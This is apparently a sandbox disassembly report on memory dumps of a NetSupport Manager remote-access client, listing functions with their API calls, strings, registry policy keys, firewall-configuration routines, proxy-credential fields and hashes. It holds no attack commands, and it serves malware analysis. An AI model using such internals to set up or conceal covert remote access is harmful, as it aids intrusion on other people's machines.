Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s:%s$*GatewayAddress$*PINServer$*UseWebProxy$*WebProxy$:%d$Gateway$Gateway_UseWebProxy$Gateway_WebProxy$P$PinProxy$ProxyCred$ProxyPassword$ProxyUsername$UsePinProxy$client247$r<^l
API String ID: 2111968516-2245968893
Opcode ID: a4e93b3c8ccc3a6b7aca88ff6a4ce5e76e438b27463c39e0fb5cbacf9f3d350e
Instruction ID: 7efd35a4ae0c02fe8056c906006a5b9779c271741d730474cfeafd88f3de7ded
Opcode Fuzzy Hash: a4e93b3c8ccc3a6b7aca88ff6a4ce5e76e438b27463c39e0fb5cbacf9f3d350e
Instruction Fuzzy Hash: AD2288B2A04368ABDB24DF68CC80EEAB7B9EB49304F0485D9E54967A40D7315FC8CF51

Function 110281A0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 110281F1

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

wsprintfA.USER32 ref: 11028214
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11028259
GetExitCodeProcess.KERNEL32(?,?), ref: 1102826D
wsprintfA.USER32 ref: 11028291
CloseHandle.KERNEL32(?), ref: 110282A7
CloseHandle.KERNEL32(?), ref: 110282B0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11028311
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11028325

Strings

pcicl32_res.dll, xrefs: 110282E9
Locales\%d\, xrefs: 11028281
NSM.LIC, xrefs: 110281B9, 110282D0
", xrefs: 110281EA
SetClientResLang called, gPlatform %x, xrefs: 110281BC
Setting resource langid=%d, xrefs: 110282D1
\GetUserLang.exe", xrefs: 1102820E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction ID: 7a246749baaa4a6e23861a3fd22e5cd13303056935123195fcb9bb693944541c
Opcode Fuzzy Hash: be2a4d539e06a764388bcf1fddbdd407ba59922a3a30c161602edf8e7ebb4000
Instruction Fuzzy Hash: B841D678E04229ABD714CF65CCD5FEAB7B9EB44709F0081A5F95897280DA71AE44CBA0

Function 11085E10 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,A1BC2D8B,02A87CE8,02A87CD8,?,00000000,1118276C,000000FF,?,11031942,02A87CE8,00000000,?,?,?), ref: 11085E45

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 11085E6B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 11085E7F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11085E93
wsprintfA.USER32 ref: 11085F1B
wsprintfA.USER32 ref: 11085F32
wsprintfA.USER32 ref: 11085F49
CloseHandle.KERNEL32(00000000,11085C70,00000001,00000000), ref: 1108609A

Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02A87CE8,00000000,?,?,?), ref: 11085A98
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02A87CE8,00000000,?,?,?), ref: 11085AAB
Part of subcall function 11085A80: CloseHandle.KERNEL32(?,74DEF550,?,?,110860C0,?,11031942,02A87CE8,00000000,?,?,?), ref: 11085ABE
Part of subcall function 11085A80: FreeLibrary.KERNEL32(00000000,74DEF550,?,?,110860C0,?,11031942,02A87CE8,00000000,?,?,?), ref: 11085AD1

Strings

PCIINV.DLL, xrefs: 11085E40
%s_HF.%s, xrefs: 11085F43
%s_HW.%s, xrefs: 11085F12
GetInventoryEx, xrefs: 11085E87
%s_SW.%s, xrefs: 11085F2C
GetInventory, xrefs: 11085E65
Cancel, xrefs: 11085E79

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction ID: c264ff3baa83c9e34b1ea5f373b83d9ca187d225ad452563e08076ac2ec7b834
Opcode Fuzzy Hash: f5aef0daa14bc6ea66726438fc532167d4c8a127bd90decb683372eff0d319c6
Instruction Fuzzy Hash: 40718175E0874AABEB14CF75CC46BDBFBE4AB48304F10452AE956D7280EB71A500CB95

Function 110304B8 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 190synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,00000000,PCIMutex), ref: 110305F3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex), ref: 1103060A
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 110306AC
SetLastError.KERNEL32(00000078), ref: 110306C2
WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Strings

istaUI, xrefs: 1103050D
_debug\trace, xrefs: 11030544
SetProcessDPIAware, xrefs: 110306A6
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1103052A
PCIMutex, xrefs: 110305E3, 11030603
/247, xrefs: 11030616
_debug\tracefile, xrefs: 11030556

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction ID: 4511418fabb8e143c6e2e60e2068ec6a59f08b67eb8208c825473cc9362a61df
Opcode Fuzzy Hash: 344344da4f24c17c6c11c64113ed1526ed618b4690303f5ba055bceda43c688d
Instruction Fuzzy Hash: 72613774E1635AAFEB10DFB09C44B9EB7B4AF8470DF1000A9D919A71C5EF70AA44CB51

Function 11106100 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110612E
EnterCriticalSection.KERNEL32(111F060C), ref: 11106137
GetTickCount.KERNEL32 ref: 1110613D
GetTickCount.KERNEL32 ref: 11106190
LeaveCriticalSection.KERNEL32(111F060C), ref: 11106199
GetTickCount.KERNEL32 ref: 111061CA
LeaveCriticalSection.KERNEL32(111F060C), ref: 111061D3
EnterCriticalSection.KERNEL32(111F060C), ref: 111061FC
LeaveCriticalSection.KERNEL32(111F060C,00000000,?,00000000), ref: 111062C3

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 110F0CF0: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,11106267,?), ref: 110F0D1B

Strings

e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 1110617E, 11106233, 11106279
Warning. simap lock held for %d ms, xrefs: 111061A9, 111061E3
Warning. took %d ms to get simap lock, xrefs: 11106149
psi, xrefs: 11106183, 11106238, 1110627E
info. new psi(%d) = %x, xrefs: 111062B1

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_malloc_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 1574099134-3013461081
Opcode ID: e4cf314df931be329bed10d82e2fbe7145bba63e1bcfccc88a3091ef951cf9c4
Instruction ID: 01093d0ef8ba3b8d66a1f5e3f4838d53f0bc1b4d1e9212342b6ef41ebc516d7c
Opcode Fuzzy Hash: e4cf314df931be329bed10d82e2fbe7145bba63e1bcfccc88a3091ef951cf9c4
Instruction Fuzzy Hash: 64410E79F0411AABD700DFA59C81E9EFBB9EB8462CF524535F909E7240EA306904CBE1

Function 1102C410 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F340: SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C455
GetTickCount.KERNEL32 ref: 1102C47A

Part of subcall function 110D0710: __strdup.LIBCMT ref: 110D072A

GetTickCount.KERNEL32 ref: 1102C574

Part of subcall function 110D1370: wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C66C
CloseHandle.KERNEL32(?), ref: 1102C688

Strings

GetLatLong=%s, took %d ms, xrefs: 1102C591
LatLong, xrefs: 1102C438, 1102C525
IsA(), xrefs: 1102C6BE, 1102C6D2, 1102C6E6, 1102C6FA
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102C495
GeoIP, xrefs: 1102C4C3
_debug, xrefs: 1102C4C8, 1102C52A
?IP=%s, xrefs: 1102C506
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102C6B9, 1102C6CD, 1102C6E1, 1102C6F5

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction ID: 59613557395ae23f7967247d4baf4cae7550bfc3229e85cd4bc92fe2e2f2b4a8
Opcode Fuzzy Hash: 609e97f705776535a990b82a8e5f18e172a35da44f01400c4fa73658ea828b55
Instruction Fuzzy Hash: 6B818275E0020AABDF04DBE8CD94FEEF7B5AF59708F504258E82567284DB34BA05CB61

Function 11061700 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1106175A

Part of subcall function 11061140: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 1106117C
Part of subcall function 11061140: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 110611D4

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 110617AB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11061865
RegCloseKey.ADVAPI32(?), ref: 11061881

Strings

Software\Policies\NetSupport, xrefs: 110617FF
%s\%s\%s\, xrefs: 11061804
Client, xrefs: 11061768, 11061898
Client.%04d.%s, xrefs: 110617E7
Client, xrefs: 110617FA
Software\Policies\NetSupport\Client, xrefs: 11061754
Software\Policies\NetSupport\Client\Standard, xrefs: 1106176D
Standard, xrefs: 110617C6
DisableUserPolicies, xrefs: 11061893

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction ID: 3a074a016260bf88f68c0586b8c591cabbb012c9b5ad66670ab8b6bf40d046b4
Opcode Fuzzy Hash: 4cf0c36994a383612a719e249f3f276c0f36ade9332230c7c569e8670290d878
Instruction Fuzzy Hash: 5F416179E4022DABD724CB55CC81FEAB7BCEB94748F1001D9EA48A6140D6B06E84CFA1

Function 11137630 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetTickCount.KERNEL32 ref: 11137692

Part of subcall function 11096970: CoInitialize.OLE32(00000000), ref: 11096984
Part of subcall function 11096970: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
Part of subcall function 11096970: CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
Part of subcall function 11096970: CoUninitialize.OLE32(?,?,?,?,?,?,1113769B), ref: 110969D9

GetTickCount.KERNEL32 ref: 111376A1
_memset.LIBCMT ref: 111376E3
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 111376F9
_strrchr.LIBCMT ref: 11137708
_free.LIBCMT ref: 1113775A

Strings

No ICF present, xrefs: 11137792
*AutoICFConfig, xrefs: 11137667
IsICFPresent() took %d ms, xrefs: 111376AD
ICFConfig, xrefs: 11137645
Client, xrefs: 1113766C
ICFConfig2 returned 0x%x, xrefs: 11137760
IsICFPresent..., xrefs: 1113767F

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction ID: 94b21c48fabd249aebac1ca0d473d12a11480cc4bb4ab1ee9f0f9b3b40903c19
Opcode Fuzzy Hash: 4f0f92e27c35dbd641ed9010d5cad7dccc431a8d4141c0f1938ec124a93e63f3
Instruction Fuzzy Hash: 9941AE7AE0022E97C710DF756C89BEFF7699B5471DF040079E90493140EAB1AD44CBE1

Function 6C5D7610 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 111networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32 ref: 6C5D7642
connect.WSOCK32(00000000,?,?), ref: 6C5D7659
WSAGetLastError.WSOCK32(00000000,?,?), ref: 6C5D7660
_memmove.LIBCMT ref: 6C5D76D3
select.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6C5D76F3
GetTickCount.KERNEL32 ref: 6C5D7717
ioctlsocket.WSOCK32 ref: 6C5D775C
SetLastError.KERNEL32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5D7762
WSAGetLastError.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6C5D777A
__WSAFDIsSet.WSOCK32(00000000,?,00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000), ref: 6C5D778B

Strings

ConnectTimeout, xrefs: 6C5D767E
*BlockingIO, xrefs: 6C5D7732
General, xrefs: 6C5D7683

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$ioctlsocket$CountTick_memmoveconnectselect
String ID: *BlockingIO$ConnectTimeout$General
API String ID: 4218156244-2969206566
Opcode ID: ce216dd1b8016a28e30687b62eeb501ad2fd43b4a61ae7b04e5e5c1d2e8c6ab6
Instruction ID: c61fb15bd987e2e7e68fd7515e20124b0a7e663a183b22da689ba305607cbf09
Opcode Fuzzy Hash: ce216dd1b8016a28e30687b62eeb501ad2fd43b4a61ae7b04e5e5c1d2e8c6ab6
Instruction Fuzzy Hash: A4414D71900314DBE720DB68CC48BDE73BAEF84305F41449AE51993A41EB70AE49CFA9

Function 11133E80 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

AdjustWindowRectEx.USER32(111417B8,00CE0000,00000001,00000001), ref: 11133EC7
LoadMenuA.USER32(00000000,000003EC), ref: 11133ED8
GetSystemMetrics.USER32(00000021), ref: 11133EE9
GetSystemMetrics.USER32(0000000F), ref: 11133EF1
GetSystemMetrics.USER32(00000004), ref: 11133EF7
GetDC.USER32(00000000), ref: 11133F03
GetDeviceCaps.GDI32(00000000,0000005A), ref: 11133F0E
ReleaseDC.USER32(00000000,00000000), ref: 11133F1A
CreateWindowExA.USER32(00000001,NSMWClass,0286E260,00CE0000,80000000,80000000,111417B8,?,00000000,?,11000000,00000000), ref: 11133F6F
